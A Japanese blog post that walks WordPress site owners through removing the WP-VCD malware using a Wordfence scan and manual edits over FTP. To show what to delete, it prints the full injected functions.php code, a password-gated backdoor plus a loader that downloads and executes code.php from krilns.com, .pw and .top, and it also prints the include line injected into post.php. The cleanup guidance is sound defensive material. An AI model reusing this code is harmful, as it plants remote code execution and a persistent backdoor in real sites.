ラッキービジターなど未だに、放置して感染しいるサイトを見かける事があるが、実はそんなに削除するのは難しくない。

こちらのサイトを参考にさせていただきました。

https://waction.org/malware-wp-vcd/

まずはどのファイルが感染して書き換えられているかを確認する。

そのためには、WordPressの全体をスキャンする必要が有るので、セキュリティスキャンをするプラグインを導入しましょう。

翻訳ファイルも用意したいんだけど、このWordfanceは有名なセキュリティプラグインの割に国際化されていないという謎。

まあ、ブラウザの翻訳機能を使って日本語化すれば十分使えます。

プラグインをインストールしてアクティベーション(有効化)すると、

Wordfence 7.4.11機動モーダル

最近はこうしてメールアドレスをとるなどのマーケティング施策をしているプラグインも多いですけど気にしないで、進みましょう。

やり方は

Wordfence 7.4.11のモーダルを消す
Wordfence 7.4.11のモーダルを消す

まあ、目的はスキャンだけなので、ここはさっさと閉じて次へ。

スキャンはここから

Wordfence 7.4.11のスキャン

色々ありますが、スキャン画面を開くとガイドのステップが開きますが、気にせずステップを進めてスキャン出来るようにしましょう。

スキャンをするにはこの画面でここを押します。
スキャンをするにはこの画面でここを押します。

動作させると全スキャンをしてくれるので、時間がかかるので待ちましょう。

スキャンが完了すると一覧が表示されるので「Critical」という項目は必ず修正する必要があります

原因となるファイル

実際原因となるケースははいくつかありますが、基本的に以下の部分が問題になることが多いです。

wp-vcd.php

マルウェアにおいて1番よくあるのがこの名称のファイルが追加されていることです。

FTPでアクセスして、 wp-includes/wp-vcd.php にインストールされたこのファイルを削除する必要があります。

wp-feed.php

同時に wp-includes/wp-feed.php に 勝手にファイルを作成されていることがあるので「wp-feed.php」は作成されていたら削除します。

これらは元々WordPressに存在しないファイルなので、消しても動作に問題はありません。

テーマ内の functions.php の修正

子テーマを使っている時にはたまに親テーマにも影響がある可能性があるので、必ず親子のテーマを確認して修正しておきましょう。

functions.php 内の先頭以前に以下のコードが挿入されていることが多いので確認してから削除をしましょう。

functions.phpの冒頭は大抵そのテーマに関する機能として何が登録されていたりするのかをメモとして書いておきましょう。そうすれば冒頭を見失うことはありません。

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '94d7c9be1abb7310b4c554fc3bfc8528'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='bd77cd4ba9fae84678e6f1b5cf9b9665';
        if (($tmpcontent = @file_get_contents("http://www.krilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.krilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.krilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.krilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp

PHPのコードをいじったりした経験のない人にはお勧め出来ない作業ですが、基本、FTPでアクセスしてテキストエディタで修正するか、テーマのコードエディタで修正することになるでしょうけど、ここまで対処出来ている人はFTP位は触っているでしょうし、テキストエディタとWindows標準のメモ帳は違う事くらいはしているでしょう。

間違ってfunctions.phpファイルの中身を消してしまうとサイトが表示されなくなってしまいますので必ずバックアップはとっておきましょう。

もしヘルプが必要ということでしたら私でも対応できるので、お問い合わせフォームからご連絡いただければと思います。

また、1つのテーマにこの警告が見つかったら、他のテーマの functions.php にも感染していることが多いです。必ず確認しましょう。

同じWordPress環境のテーマファイルはすべて感染したと思った方がいいですね。ですがサイトをセキュアに保ちたい場合は、使っていないテーマがあればこの際に削除してしまった方が良いです。

post.php

post.php ファイルにも「Critical」という警告が出る場合ありますが、このファイルは削除をしてはいけません。

こちらはファイル内を修正する必要があります。

FTPで wp-includes/post.php にアクセスをして、以下の部分を削除します。

こちらも基本的には先頭に追加されています。

<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?>

その他ファイル

その他に「Critical」が表示されている部分は必ず修正する必要があります。

そうした表示がされていれば、該当するファイルを開いて、指定された箇所を削除します。こちらも慣れない場合は自分でやらない方がいいです。

サーバー内の他のサイトも確認して下さい

このようにマルウエアが確認されたら、同じサーバーの他のWordPressのサイトも感染していることが多いです。ですので、必ず他のサイトも確認するようにしましょう。

  • 公式サイト(WordPressのプラグイン・テーマリポジトリ)からダウンロードしていない海賊版のテーマ・プラグインを使用している
  • アカウント情報(ユーザー名・パスワード)が簡単すぎる
  • WordPressの公式サイトから削除されたプラグインやWordPress5系以前のものを使用している
  • WordPressのバージョンが古い

↑できるだけこうした自体は避けてWordPressの環境は最新に保ちましょう。

まあ、このWordfanceは個人的にはすきではないセキュリティプラグインで強固な対応をしたい場合に向いていないので、そうした対応を望むであれば、

こちらがオススメ。英語表示だから、翻訳ファイルをプレゼント!



一番上へスクロールするボタンを有効または無効にする